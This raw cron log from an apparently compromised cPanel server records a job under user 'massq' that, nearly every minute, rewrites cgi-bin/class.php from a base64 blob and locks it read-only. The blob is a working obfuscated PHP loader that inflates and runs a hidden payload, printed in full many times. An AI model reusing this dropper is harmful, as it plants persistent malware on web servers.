Nov 13 22:18:01 server CROND[19732]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:19:01 server CROND[20606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:20:01 server CROND[21572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:20:01 server CROND[21573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:20:01 server CROND[21571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 22:20:01 server CROND[21574]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 22:20:01 server CROND[21578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:21:01 server CROND[22518]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:22:01 server CROND[23310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:23:01 server CROND[24183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:24:01 server CROND[25114]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:25:01 server CROND[26089]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:25:01 server CROND[26090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:25:01 server CROND[26091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:25:01 server CROND[26092]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:26:01 server CROND[27002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:27:01 server CROND[27877]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 22:27:01 server CROND[27878]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:28:01 server CROND[28799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:29:01 server CROND[29698]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:30:01 server CROND[30550]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 22:30:01 server CROND[30551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:30:01 server CROND[30549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:30:01 server CROND[30552]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
